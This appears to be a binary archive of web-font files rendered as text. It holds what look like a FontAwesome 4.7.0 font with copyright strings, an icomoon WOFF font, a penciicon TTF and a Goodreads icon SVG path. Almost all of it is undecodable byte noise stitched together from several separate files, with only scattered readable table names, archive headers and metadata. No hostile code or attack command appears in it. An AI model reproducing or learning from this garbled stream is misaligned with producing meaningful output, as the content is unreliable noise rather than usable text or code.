v	 oT~ƣ @V5!7EV@p -F1M \ZG#n'x!ϼ 1-+T
S(
++EZ [spkT~O@GA  BHEB  Bc
0-/-----mJ#66"!!!!p[mmVJE46H``Z[|]~c`}pG;-7-m{<8Yn,=auKKvQ.-QjKs[hshs\hF:87s;\Fsh[t3]-3s\hsht[h"eE!sh\s-3~+***}Mz]c.p%$fM55277<&UA++Kq5PPm;XY;v2
,cTT:
,[R
T:
,[R
 
xttt

e
:
,[R
T 
tttԙt~S(
$t
Fh͉yy}~pjPPjprk5jThc
ctt 
R*N^Ȗ*
RDejok4ph4hplh/X
4X
9joqjhp4lh\ƙ;2
;ǾbP0&M	q$;1
;$9	q&MtsT

|~}StK|}St=u=ttt*w)))((.ddZNNZZNNZ
Q+A@AA@![  		  [P
P
B 

a
+ 14wx{~}g
4t4a 
Mr&Ȃoly
_lZb
&Z_lZb>Tt4t9lF9y4d;1?;UҒ/tt<%%<"SKj<5eZ>:$$$=:Z>ejSm$54444q(f?f?(q***M**wI9(9II9(9I*'
wdA467MR*M8=IF[-2	~0XPdow4
4b^hvii!r(u)- vjzfj~qsoqzazqHoCwqs|qjz )(!ivi#o#vi%GT;;;;;;P
0VviWPVgumlwa||q{cYili`dH__·I5)4y)Y>BݮU11V1h8SM$wh#hAQWƇ¹ÐvZ];();;)(<&U11UԡϱB.`	eSGtCm$t]$ttR4'4$BL8,L9}x 9`Q^fxOoDk3dGԴ"TUa

vsXQF55EE65E<xiUNgs{f<ϖҖ~hr84W{mXx|cqJ_s '*0󍂎iZӵԵYn5U+"C~?ihyvxnnn6>#A0W9|xuzlMx|lT(x||x x|T*0(=`hZ6,
L86-
I86,
_
-i1Yn|||jjk8dJ!E+z$99$+!8YisV>crbxy~vz\\\}v{~^ws8~64468w^~ybrc>s3%p[rrcrrkii~kssqrbrIIV*B+$$c+CB~II%%Uaa;U%%5??H5~)ԫ


Tt
t
`
5!J
Jn
J
wNk+mTTT11W
E

VNMDH>>35b
d-
E.
:V22VV22Vd'cU/ocuovocv?%	q|~fFF
0.*ocvnvocv&0q|KTi
KTTdhjw{i^u_oYlnus
o^iwhY_u{jhwuji>qw[GA?ijkŒ[V(1g=VijNbi6%Qtb(enzfl4u~dp"v[~}dtVldvtşW4tt}}}"CVt[Rt}~[tvR[Cljh\^a\Qwt\s[Rsjz\oUwQVf[VT[gdk\c`^ebiObt6Qb(Te|TT&&'dq:=2G<LCYRhn@K5
$c{{q{<<{{qz{cc00E3'ҥ}}{PRHLbyz{*Tb#E.ᕖz<_d_:@sgD_^_*dJA	Bɴ׵to'W4pwοvW XMuY1A3g,{ հ	yL Z=xsav^|ZZ[k.k/k.hemf$ 6k+ː]V$Iqo~QN ڈ7.;ghhVND<{B3^w/ۍֵ5b	LQ*GJW}ϗѝڏy kTUnn~ryj_MlNy|bmmT]bj[X]~-u[_k[TZKNW]dWT]TkYacYUaö1r&>kfbr(ywvE^nw"'hRcl`jObenfQaWT`]Tti\~{&XU3tOZq]s~Q[8qQ]sZq{N\[kP`m]lM_|r(nhd&>lecovDd$H6}z~t1YbSu\q Py,:|`B/O~TaKJ~Lyy1Vwy:pI>/2ndgaWrsw		=!Y	2R?2"?=. O?U<<quuqquuddVTqu"w+B~oftaz_VSRt9Kxx:Ktp;VwxQMMt#"Y()#`QxgihiVKlfT'Fb(-]ݸuWh@JM;uT|NwbdghsK[bei({q}P#4%Saj_≖`/7bb/6aa.;c}}pmmlji0+.10.{\YYFC?>AD$(-}}}[ׯMgYST**lSmMrWJB`enū)c1&E,u|ѰڡXMN9*
T(T33T&V
]!zltahqrp!s,o"prrgl!|N#l[heeezpK^7Lw} 
 cb*
[)F3RtZ>UKLLdllh]rd.^7|}}\".% _qqoy~yGAokzAïwPW~|ԪAyoqq 0[]yZigmpgːt@6)HW\!zktaiqqq s,o!qrqhk!{
N#k[iedezpK^7Kx}p 
	 	 
#` RN{M{ xiwi9#GsE}Tl+{X|V}2h8pihE[&Yr!hgRoq-εߝA UǾԾ*}t~xqi#E3lgc2Fj`\Y=urrqrqs$>tY~\w`rk2FclgglbE3jr`w\~Yu<rqqqrr%t<Y\_jF2bfm1F$kqw~v}$}x$k1FE2j$t}%%%%%LX0X/X/TTTT &O,-OO,-Ojjk1''-4nOxqigggh~ie$DNyWvw#1rHe%:qzt{s[s,w!w""0tdcubhgc8cliccmid@dmho
id0 B clio
id Bdlhcclid@Y3W,zhehjwmyxjhhj
gk
ditiy74kg
}RQPtd,c *pqq`NAp@`JQzH~GF+/2rYN'K_IFF_ʷзIL	P&0hFyzy\\[ V _JP mzBpgfsvy|s#Lc|gVXTVtbewvvNA($h^~mo_~|z}y~x|nf{DBYL\'>mZR{QsstN]wiggXnϤOTͮmwmw mwŷ	v|iI#&bSS!mvvu 

D4P
3i-kbUST345IIIyq߬)))19j4:P*C3+K}T
-Mujmatvhj_|[t>4a@kk[|^4<Nhc_/22ģ֖kEb=0/Y -"$3QtlZ[Yfbe7]XUnPI"Rgɰe;o[1HwT
Tg
<R;JLwgVVLJ	B; 95
4w2
N:9՛ͻůF4O
cbc{"犖M88']L"/f
UA=0;}Q <0^'0 ř}W}w};O<04

bw}GU)@'eY(.E"E(Y"+G}v|fW}x?r?Q<ŕzE٘+0@
4|c"-dc|.44|q\NEE*#"#*;QE"	9aRqs|ig4vߟ	ތ[lifk8I`Z\uρ6ٿ<0JAeci>z8qFl;7MtH$v"?-=xGnS-ub7ÈA
wc-Ef7-^DNfrx~58~O	 K(JD;;JEYFkT«FYEA#	##	#$	##	$R+7TS+V
T}y 
`
$	##	$#	##	#[pdIH[<<HINm}!75'mwS@T|zJ
+J
+r
@

G
x
)4RMDDR/@2o[ͻ2@/1$%&%%1:
ԩ
R
Kw{{ww{{wS::
,u
R
KX
@l
A+?
+c
Vw
)/e@2oZI[BBIZ2e@/4M1%%%&1Q 
{ww{{wSw{'
1

M+L
+

G@X
@l

4
YXyyXO:>+N  >t:OO

%%%&$'b
%%$'#(
Gg4(K
K4(Gg.S1>P;;>S1.
F

ڨzz'.<!bV[b-;PP-;b[V!E$@hh
? 	+YZ<	[	ZY+	
d
0dA1]ZInBBIZ1dA05K.$$%&T
`X
+S
@gT
T
B[PP>P[,cs£,P
t
K:
y}j
Ky}}yTy}
K
K[R
+X
@l

9tk,ccTsNNTck,BP>ƻPn4RT1
T7}y1
T
8
K
'
T1
T
@
{X
@l

o0 v@0<;u^'\	=*S<,cXP*"c`[h3\5jj5<UgF19PREij+#hd$єZۯӄhw*K	(Y&ZvV^e1.j4E9""оqrQ)`j#KE[|z0Y`7~?g
drlf.kg*{WrrZ^mwvl[s njbgnzhylqfSB[<	.ShtviKkTpxvnmn`j|kfZ_FnʬҞgn|rRMHh,Irqprg^sAM/)8[PD0nf	ivqXѵ+DD
yZnbt9 #tx
3us{q[Ƣ᳚s~N\
0H"
H"
H"
H"
1

VKTT6  64"
E#E
EP/"@Z<[@E
EE#[<:Z
T TT@TTx T)
9
__&X.$
 Kp_A;__9~2M@nh
M*
TKMT
@nh
M(@nh
M P
M@ 
@
i
@ T T&DNuye  }
 
Vҽ  T} 
 l j l l R 
 ~ufH7Nuuaa uuTAMr\JC +1
7}yy}}yy}K}yy}}y +
,
@j
vjIIJ# %BzϜԝ̒<LRosxzce%k$ld!|{{tuv\|
k~}lr>++6YF$&E{YIv['?Eljo~(9
0tX
@]
T


+X
T]
S
TgTZ
c
k~~w~}}}}~~w~&&~}}}}~&&~}}}}~&&~w~~}}}}~w~~k=====&&
====
&&====&&====&&}
""4
0_}2/bw_1*S@H2spoȫg  zz9A{ezp{{hh{zqz@ez@zz'L`FF=1<1#WX
 ]vvL;3lK@+@LV	+<qU]%FO^ePVn`r'sysfX\Rq8dsضsF%KٮJ}3хbslt[`Tvuai4.:e?2%ٰۂ~%~GbRSlg}^`st`an좾]4jމQ@ .&% &%&%&%	YJ	I8/-pR%szw8&%Bpq2zr%!!2.l?A R჋Ίt,ә$j"u/}s-|ZH8		
H.w_puj}$xll`?^ l2BAAq3l۴l8okmYQSBjtvml	.ڎ\KHqX
@l

)uAp6wYl4~yUѯW?QYm}ptjhFEPx3|(/ŏ45&ϻąfamJ?jԋ<#>n,iIΙJ\DHհ4.4g"]vzuyia=sA|M5#Mo`Ba,l#:PhCt"]уHą3B̖ڒ/qu=hUUv@i/::hUyrw>ggjk>pDLUxzxzxzxz[a7MzR?ݙob4~{z+4+4+4+4+
T@ 
 
 
( 
 

 
 

 `
@{3

@<
A
P
 

P
  P 
x
7ޜr8{M11Mז@;NyydmyN!4p<%0d*TKjjT*6Ld0%pb;4NmdylymczN ;j|@118rz;jN mzcmmNT4o;b0dSL6jcjKSd0<oT4N!ymN
]]zϞҞԝxxy5___Yt	~rl3/r5l3/  HrvZjG
?C-T%%\:RR:R_DDDDDDDD?)|8oCA
/-$",B5|6-GcKdԛӘ
py||u~w'~rb<!ێjwws{z}qr^r}d0Gة蘵и۩޴r~v~wvyy7-8<ÖCKlwxxwxw|lt{u{ltt{hh[sgshZsr|
9qYfqgqXf|fr! |bR$I=X,3|Mq&h8 ?4yeRRYNiꏏ]ȵ9ЉОȶ%[/+(yfqypxfppy|3uuu}uut}Hqqqzqpqz,N\u\gugu[fgv~$xxwwwx~Swbnvmvbmmwp@
      #'+/2<@EJOcgkozBFJNRY^ly.9&.9=AFMQZbfmsw{9BJNRY^u-z<MU[agos"29@EN^px~			 	V	Z	_							

	



/
>
F
o








&,@es{ -:KUcglu|/OVZ`jou{
&Dbs~-18>EKOTm ).7<DQYns%:@Ui{"',1CUZl~$(-2BHP`gku{$,2APWZ_drw}+8EOU[binty~	$).38CNY_doz
<<C
KFKkr
=oYB;
E#E
EP/" @Z<[ E
EE#[<:Z@
T TT TTxTBt)

P
t*
i@EXXE+y}}yK
.
+EXXEP

+
.
' 
33y]hnnh}y]]]]s4
.\2A
y}B
,
FTkBBa
U)
y}}yKy}}yTN%
=hnnhhnqF
A[
]]E
}t	 "" 	M
-
\


1<0
0
+

ff
}yf_"-
. hnnhCp
}yT(
-V`C3}yTy}}yT
c
|zS
+o
+
D+\T2TA
 ʆiimdod$@~ Kz&w{yyw}| |}xz{wa&zK$|'[[!! oZ S1
0
[R
YWffG
ffU
]
@gw
 TH
U

3CC3X
K]
+>
TY
[RDh1
TTTG_^X*D4
4D*Y_`tW
!
'''e


TT

TT
i
hh


O
g
B
4TT=TT
y}7!x!hD:
,
JJ4
F/B
NPuc]T<Od
}}|1B&2B
:5
/%%
YY
(
ff9>!

>9UG
@V``V}~d3fTw@t(suwN5~w}+}PV
{zg
:
T
TR
]Ky}Hg
TB
4$$G
U$$
V``VV`
`V!_Ib	\;COLD|yz|ru{A0%{[k@hhnz|r4~~4`_`R`e9C/R&aҦ4A'")~4Uff
,u
!55!=
=
T-
/T

{zGCC8=<<8CGC VVz|YY.:t:}
&&TO
 'LfeNzyz# u"=1?u՗ff
YY
Yff
&/]]1a}.
MMY;/a3:t@y
t
gZ
!5
\|\?Z Eԅc*y^H(ym|[n
U
t3
ZZrEQQEEQc
'>
0
4Z
V``V
~
zz3')
{z4
+<<<<{.==
C
9"TM5Ř{~~D;i
ffW4x
!x!QE
8
8
8
x

i
		tkRE;V``V<
A
5
/
RT&


+
,
3
 O>
zr^``^?*<씒<Jڔ>@(

St
}


X
@]
-


}yyrrrryy
(
yy~w~~[

tt|z@(
Tz|}D}}RD,l"7o''${1D


!K
z{8T(A(A(Am t  Kxxtw~̍t|~}:@w{tsoyx~R1
7OIIgX!!gXg!fz\J$9:lA~w]]w~z

mm))mm){G
YU3-
ta
hN0Km
+
)vP
\
t44


<
A
	,,		,				,	T

b
<
TA
F
}t.+ݭ{`T33V@
tkrcrr@
>
xyots{SK(

tp
yy:
7D$$Dnh&T*
5@$$@!quuqqu;;uqf
K<
p
 QEt'rrcr2
TSTdJ,]շ49arwwvyr/(DB%$AΌ%
`uttu~wcclqt=hF B44

V
sVEz*6z*E!!$DD$
7T-
R

5
yyC
.
@h<<<<o7TT_Ldhaahi`ah
/ti
VH
ԫԫ

]Tt.;;<:Z:3}|AP
3CɽNba]
0$7o"7l


@
<<y}|zi
z{RD3$$DRip w

EQy

1
0

fM@
jmq,4[
@XtxmihbW_)RK(
t:z{z}R%7tC
(
t
zx
x

!5x
&%y}_gg_

*10˒h
`Vm[
ˋˋˋˋˋ7ߋ7
K[Lz   -
-Ty!5z+&m/%t~-\$"WT*nhtttv##                         
      	      h   3   3  s                              pyrs @                                  "          "                                                                                                                                                                         
	                                                                                   x @  8       !"""`>N^fin~'(.>N^n~>N^n~          !"""` !@P`gjp  ()0@P`p !@P`p   \QA0ޕR
	       v                           ^                                                                                                 %|_<      O<0    1h	                 	 	                p   v    _                         ]                              y n                       2                           @                                                                                              z                    Z                                @    5 5                                           Z  Z          @                                                                    ,  _                 @                                                       f                                @         	            @                        (                                      @            @      @        -   M M -  M M                  @                                 @  @  -                 b                                                           5                                           -            8                                   @                  D           @                   ,              *     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                 >                              d  U     *       #	   	   	   	   	   	                                             	                                                           	                                                                                        R	      	   	   	   	   	            	         	   	      	                                                 @   	     e     	                                               %                 R           E	            	      	     $                     k  (                  D    '	          	          %                  	                %	                                         	                                                        0  $    .       $                                 P              /          /        :        /        K        /       Q ]              	 
                   	   ^   	  U  	  k  	  "y  	  U  	  $  	  U  	    	  a  	 	 y  	  *  	  <Copyright Dave Gandy 2016. All rights reserved.FontAwesomeFONTLAB:OTFEXPORTVersion 4.7.0 2016Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeDave Gandyhttp://fontawesome.iohttp://fontawesome.io/license/ C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d . F o n t A w e s o m e R e g u l a r F O N T L A B : O T F E X P O R T V e r s i o n   4 . 7 . 0   2 0 1 6 P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s . F o r t   A w e s o m e D a v e   G a n d y h t t p : / / f o n t a w e s o m e . i o h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /                                  PK     N\Zȫ      fonts/icomoon.woffnu [        wOFF          X                        OS/2     `   `cmap  h   T   TVҩgasp           glyf      BNO0head     6   6Mhhea     $   $
Mhmtx         loca     P   Ppwmaxp           1 name      J	post              8         3	                               @  " @ @                                      8   
      "                                   79               79               79     >i   ) D  !"3!2654&#357>32#"&5467#!"&5332>54&'3HeeH%HeeH2<C'(C\BA\2$$2		&CY23YC&		ifGGffG&Gfg$$/A]]A/#22#o/3YB''BY3/    )  64'0&1&"010.1&"010 12706 61f;<e%;$8aa9   R )  2706164'0.10>164'0&1&"0101)Fi~ijjF)-I+llnn+I+  U )  "'0&1&470>10.1&47061620101)Fi~ijiE)-I+llnn+I+    )  %01"'0.101"'0&1&4706 61620 1f;<e%;$9a便a9     n  4 Q h    0" "1"&50146302 212010*1010:104410:1201#0*1"&50414630:12#0*1"&54630:12#0*1"&54630:12#0*1"&5463%++++hܷܶ%rssrrssrrssrrssr@+J+++nIII      % B  %01&5014630:1201'0.17010<10*1010>162@TeT.&''TeT3,5,xx,5,<@M?T4+$?M@{"(!!("       %0.10101010.10 1tt3>3ɧ&`%3>3mm1:1G1;1      3  0&1010.1010101010>1010610.10> ggggYgggg       4 Z  0"1"&50410"1"&504414630(1201#0*101#0212010>1>30:10<10" "101 @%@%%P%%rr`r_	@%ZkZ	dxd@&&%%&9E9@%u5A6شش    ' 5 k  %0*1"&7>7>54&'&'4610&'&63210&#&#0*1"&7>7>54&'&'4610&'&63210)7f7,'
N2%*2f6'G%*2f6')7e8,'
M2*=
S;$A=:##:=A$;S
=*$>A#<S	=**=	S<#A>:"":   Z p  1  #"!4&+"3!2654&#2?6&+4&+"#"KKK)!")	wJ	Pe"))"X         5 I V  #".'0&1061>320101"32>7.#".54>32"32654&#Fhi@=ojͽFS36NM99M5]F((F]55]F((F]5#22##22#kv?Bzj+,mzA?yq/./W~OOY0-V}ORY/(F]55]F((F]55]F(U2##22##2      '   ".54>32"32>54.81"&5467&41.#"01021010"1013021010*10410212650<10"1041021041463:3# jPPjjPPj\xFFx\\xFFx	XX,FSE'CCC7"=@PjjPPjjPFx\\xFFx\\xF </@N@//@N@/CA(%   , E  0"1"010:1010*1010*10<10*10<10:10414>30210,|0:E::E::F::E::E:*F[0x
$z9D99D9z2XB&9D9   Z G Z p   326700"1"3:1023267>54&'.5467>54&'>7>50410*1"&'&67>76232#"&'&67>7>320410"1010"101021010210410210410"<..%N#rqTLc_j7HIX(% 36!
DZlZ[lYfTU|I)
OcK42/R	%8J?\;/.WJKW, oNK` $RG>U0eZ <QA<7L87DyM;!;$4H}}}~~}  	     ' ; O c w     0:10<10*100:10<10*10!0:10<10*100:10<10*10!0:10<10*10010:10<10*0:10<10*100:10<10*100:10<10*10 P`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`P P`PP`PP`PP`PP`PP`PP`PP`PP`PP`P P`PP`PP`PP`PP`PP`P      * .  !546323126'.#""3!2654&+!!mM=`'$
8Pe9@qT1%$m$$|=>MmG7%%5[C&1Tq@>$$$$t      ' ;  0(10<10(100(10<10(10010(10<10( @  @  @  @5@66@55@55@5U5@66@5       $ 8 M  0>10:10<10"10&10:1010" "1#0.10,101001010>10.1ZkZqr.1CPBUfUBUfU	9C99D8@%,%wppqpbSeSTdS     K  0*10<14&#0"1"010*1"0130:10130212650<10:12650414&ppfppppfpp'ppppfppppf       ! C  >54.#"326701!>54.#"326701jg2$GiF2U="$>T0 @`@$Kjf3$GjF2T="$>S0 @`@$@3g^g6$B]93S; =gUF@L?3g^g6$B]93S; =gUF@L?       ! B  32>54.#"4>70.1!32>54.#"4>70.jg2#GjF2T="$>S0 @`@$jg3$GjF2T="$>S0 @`@$3g^g6$B]94S: >fUF?L?3g^g6$B]94S: >fUF?L?       =  .#"32>70"1#".54>32010:10<101l#R\e5kPPkZ]G_r?Pi==iPP4AMA/9/*"8'PjjP:gS8^D&<iOPi<=5@N@/8/      & B d  .504146#0"1"&5.'.'#81#"&'.5467>3204146#0"1"&5&&$'"&5?wlb**C1#/DLP*----b@AhK+}|1B))`ku=)OJD."0-)+&|*Ig?@`z    r   "&'&6?64'&"0'.=4&#"&/&"#'";22?>326=46762764/.7>;2654&+"&54632#v-

,49$$$$9,4,	,E%%?.15-9$%%$9-4-

-?%%?NooNNnnN$9,5

-?%%?-

,5-:$%%#814-

-@$$@-

-4,9$$$oNNooNNo      , q  01&5041&"'.54>3810414601%#0"1010(10<1467061601#0(1"&50<10414630:12WiW"Ix_FBqW"XhX"]
@
h2##22#WhW	
L[K!aLo:5XrC`!LZL

3=3(U
yy#22#U#21        7 S p  0"1"&501463021201!0"1"&50<1463021201!0"1"&501463021201!0"1"&50441463021201#`@@@@@@@@@,h,شش8    Z {   010*1010:1010*1010"10>10*1010"10>10*10610:10>10*10610:10>1021010:10>1021010:010:10>10*1ZP`PP`PP`PP`PP`PP`PP`PP_PP`PP`PjP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`PP`P      ' H  ".54>32"32>54.0"10"1"&50410414632010212 jPPjjPPjOi<<iOOi<<i1@%%%%%@PjjPPjjP<iOOi<<iOOi< &@%%%&  i N  %#"&'.'.'.50<10"10<12>50:1010>1010*101326701i :9"=-|FK#:E::E::E:)&K&+	D!_r_9D9:PQL\M9D9L[L*?     M  >7.#".'.51#"&'#"&'32$65<5>7#J'(;%R,#a85^F(Pv/M4 G2G,).>L*!JQW-+]ci6_%AJH-	%+(D\5(D^:A"Bo".SA.&@.)* }B&     D  467674&10676.#"10630:10:1265<54&'.53-5aOOa5-3VqrH&&HrqV~)L HD B?--?B DH L)FO&&J!##!J&&OF      p -  .'.'&10&10>7632676&>p((K@07;4h.Aex8:A$)U22UbԄ%9A<H[SLz7lvo\\x:so    . B  %0.181>54.#"32678101326764'%".54>32>K>*0Gy]]yGGy]L9>J>		BuW22WuBBuW22Wu->J>9L]zFFz]]yG0*>K>	

	53VuBBuW22WuBBuV3        bE_<      j    j                                 '                > f f  n          U   Z      f      	              U                     I       
     (b Lxb(xRT	&	
X
Vth    '  	                                          `        6        u                K      
    	     	   g  	   =  	   |  	      	   R  	 
 4 icomoon i c o m o o nVersion 1.0 V e r s i o n   1 . 0icomoon i c o m o o nicomoon i c o m o o nRegular R e g u l a ricomoon i c o m o o nFont generated by IcoMoon. F o n t   g e n e r a t e d   b y   I c o M o o n .                                 PK     N\N6
E      fonts/goodreads-g.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><path d="M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"/></svg>PK     N\v3d  d    fonts/penciicon.ttfnu [               0GSUB %z  8   TOS/2=K     `cmap5     glyfG    jtheadXU      6hhea]      $hmtx    loca,     maxp       name@Q  w@  postp  y  n   ,    ,6                z      |a_< ,    |%    |%61              z          
 
             
 0 > DFLT latn                      liga                     *        *       M                         PfEd y,   G                     ,,  ,  ,  ,  ,  ,  ,  ,,  ,  ,  +  ,  ,  ,  ,  ,,  ,  ,  ,  ,,  ,  ,  ,  ,  ,  ,,  ,  ,,  ,  ,  ,  ,  ,  +  ,  ,,  ,  +,,  ,  ,  ,,  ,  ,,  ,  ,  ,  ,,,  ,  ,  ,,  ,  ,  ,,,,  ,,  ,,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,,  ,  ,  ,  ,  ,  ,+,  ,,  ,,  ,,  ,  ,  ,  ,,  ,  ,  ,,  ,  ,  ,  ,  ,  ,           ,     D     >     ,  
  D        y                 	 
                        ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y                                                                                                                                                                                                                                                                                y                                                          	  	   	  
  
   
                                                                                                                                                               !  !   !  "  "   "  #  #   #  $  $   $  %  %   %  &  &   &  '  '   '  (  (   (  )  )   )  *  *   *  +  +   +  ,  ,   ,  -  -   -  .  .   .  /  /   /  0  0   0  1  1   1  2  2   2  3  3   3  4  4   4  5  5   5  6  6   6  7  7   7  8  8   8  9  9   9  :  :   :  ;  ;   ;  <  <   <  =  =   =  >  >   >  ?  ?   ?  @  @   @  A  A   A  B  B   B  C  C   C  D  D   D  E  E   E  F  F   F  G  G   G  H  H   H  I  I   I  J  J   J  K  K   K  L  L   L  M  M   M  N  N   N  O  O   O  P  P   P  Q  Q   Q  R  R   R  S  S   S  T  T   T  U  U   U  V  V   V  W  W   W  X  X   X  Y  Y   Y  Z  Z   Z  [  [   [  \  \   \  ]  ]   ]  ^  ^   ^  _  _   _  `  `   `  a  a   a  b  b   b  c  c   c  d  d   d  e  e   e  f  f   f  g  g   g  h  h   h  i  i   i  j  j   j  k  k   k  l  l   l  m  m   m  n  n   n  o  o   o  p  p   p  q  q   q  r  r   r  s  s   s  t  t   t  u  u   u  v  v   v  w  w   w  x  x   x  y  y   y     d  jVf.f
2h		n			


X
l



2bfpH:b>jhDL "!!"|"#
##$$.%4%&>&'(t())D)**+,++,l,-<..@../B//0011P12X23X3|334 4n5:     .   A  7&#"67676?6&'#"12676&'&&'&#"67676?6&'#"12676&`&&%&&%.<$.<$       ,-    "732>4.'77)E(3)E((E&KR'J,%@& 95&?L@%))W))      - + =  7;2767>'1&'47>32753'&'&7"67676'.@	 -5	."A#S	$#@	/64 &$%$
!&   (0 " H U a    %6'&'1.6?76?676&=&'&'&=6767676'"3251.256&'"3&#1&'&'&/56?>'&/&#16716'&'2'&'"!V*.)#K	'+				$
,~7&#<	"

2/#	'"%,I4				
	
D        ,   U ` k  73'.+"7#167673176'&'&'720#'676711'&/"'&'14767264&#1"#264&#1"-	("_

<		
	
h				3				##
=







       , 4  %"'.'&5#'".546325&#"32767>=3501% 2%"m

1        ,,  ( 9 W [ u  7#";26=4&3"'&"26=26=4&#54&";264&7264&+";264&+53264&+5'!&?4&#.4>2|1Hl,(<,2;1--*+*%++

x,

$&-('        -,  #  %'>54."3267264%4>2".)J":E:"":")I	/8//8/I)":"":E:"J	//8//     /%  0  ."'.?>&1'.>2?>#*+u	v nn		 
			-.||.-]tt#"		"#     -# ( H \  72?64/&"#"&/.+";2;7'&"#"2?>;2?6476.+";26++\!]=+			+	!*)	
	~		*		

	*	
        ,  " 6  %'.+54."#";265'462#7326=326=3& &HB	H	̶        ,     ) 2  7#'37#'#32654'3264&'3#"&4623"&462y"?11
K~		K0c]      ,,     %'#"7>3'54>;55#",6*G'%/"__*LZ*6? Z-/%>ih>!      ,, . 7 @ I J  7"'654'73264&"."32672>4.72"&46"&462"&462#
:`)_<!&  '"	
)
)( 
	#

  & j&&      ,-  O   %4."?6?1>%4>2/&=767>=4'54'&'&".+'&/7>='&'&/&=4?5476762,(ERE(%@L@%.	B/	



	

,8	/)E((E) :: &@%%@&6
	6S	
     ,,   ''77',xxxxxxxxxxxxxx     ,	   7'7'_G_TG_ --  + C Y  ?26=/";254&"264&+764&"0174&"'&"#";3264&+26=264'OF NYOF NON @ @ON @O6N @OxF NOF N      -  4   7013>76'&'&'&+"'051676312#1"'&'&54015&'&'1&'."'&'&=676767671>.127671676 

	
#M#

)^)#		#^		
	









		     ',  "  %'>54."327264'2".4>"G 8B7!!7!'H
))1))J(!7!!7B8 K	)0**0)       ,,     777'77'77'77'77'7'7R)9,Rڈ)92     -- !  %&".54676.32>76&%$,)*+70()%'/8*+    	-,   & 3 @ M Z g t  7"2>4.'"&=462"26=4&7&4?62"&"2?64746;2+"&'4&+";2662"/&4'64/&"2##(##								?								#(##(#								I								?        -    * . 7 @  7"264&"&4627&+'.+";;26?6#'3"264&"&4626
%%0Ǭ				X5				+
nfX~5				       *(  ( 1 : C  7#"&/&6;2+37>;2+"&462'"264&"&462'"264&uu<,$<y"				[#



hza
e"":
		:"":



       ,   7S,         ,   '7'        ,    %'7醆        ,    777   -+  '  7&47675#7.764'.''3'6

+V">&!5>&!5

+Ve2+V],%0)<%0) 2+V         ,   7#'7;<RR`<<RR     ,    %!7'7'!,<RR<<RR<     -+  ,  7&476735#37.764'.'5#35#6

&P>&!5>&!5

&Pe2)5P:B%0)<%0) 2)5P      ,    7'7w,        ,    7'7'7''>9     ,    '7'7'7'        ,    77'77'9     3'   7#7".47'2>76&V+
$020$
*7<7*
W+P&$$03;8**,]        , ! % ) . : E I R a j v  726735'#5#6514&"&"1#326?#53'#53#'5721+5461462#"&#5"&4627."#53753"&4627."#533%B/
	.%I11B&	7	0)	0  1>	<#		KP0

		R7EE/						

		w--w

		wI.       - , L M N  7#"&=#"&=46;546;2+"32+'3546;5#"&=46;5#"+32710	*#$	##3*''! !!_m.$+	+		.mq(%!(        , 2 e f  %+7.&/''767676'476'&'6?'.'6?'&'&''.73'&76767673,/;(!+&+

$	(H*!!!
(
#
 		/
			
 #D$			
			    ,,  ) 9 F J S \  #";2>=4."&=32>54'3#2#."#5463".4>273#264&""&462.+2+.8(.(8"*""*",,Y,u++u''##)##VZ,        . b   %.'&31276?6/&547676#".?676'&'.271676?767>7654./4754?6'.76762367676'.'.&'.'.>76767276
		#

	
		
	
)
!		

		
	
K
')$

0I	
#
$	


  	    -)     . / 8 A B  7#5335##54&"#5362354.#"5#35462'"&462'"264&#NNNA44NOO+#A455 ʽoo$qqbb!!B   	  ,-    # 4 5 > G H  7"264&"&462#7.#"32>4&#".4>32'"264&"&462#b%6)E((E)6+"1$=$$=$1%)$$$H)EQE(+7<6$=H<$%150$$H      -    $ ) 8 > k        7#";2764'&#5327&";26'&62'3264'&+"73#7&#"/654'&+";267;27654'656'&#";27673+"'&'4&+"+532265>7632+"&'7#";26=4&#53"26=4&'"26=4&e.+	
%(.(*	.	'("ZZ!%T
!YY*3GGEE%%8
	
"
/
z        ,  2 3  1+3;5#"&=35#5#;#".=#5671>=33j	#,>>GG5F,,%#
#F,G>,X>GFX#P4$P$F       ,
   & >  7&?64'57&"27>764'."'.'&47>762|

JE.J,n,,n,
*l**l*X,
#6m!>!!>! :  :     ,	        #";26=4&'572?7'7wyTHUTTTxxTaUUTT     /	 D   %'&'676=4&+"54&+"3&'.=4&+";26=;26'+"5'&/&"+".=4;26=4&/&546;7>=4;2+
#B

		#; 
	&
&4'#
9#	
= A[-%E+#<2?"3
jC
"    "/ : q  7.+"7676767>=4&.67676'.&'&6&'.47>'6'4'.7#"'.'&'376U/!-

.7q)"	"
'	8fH
	!"	) &4$/@-: 
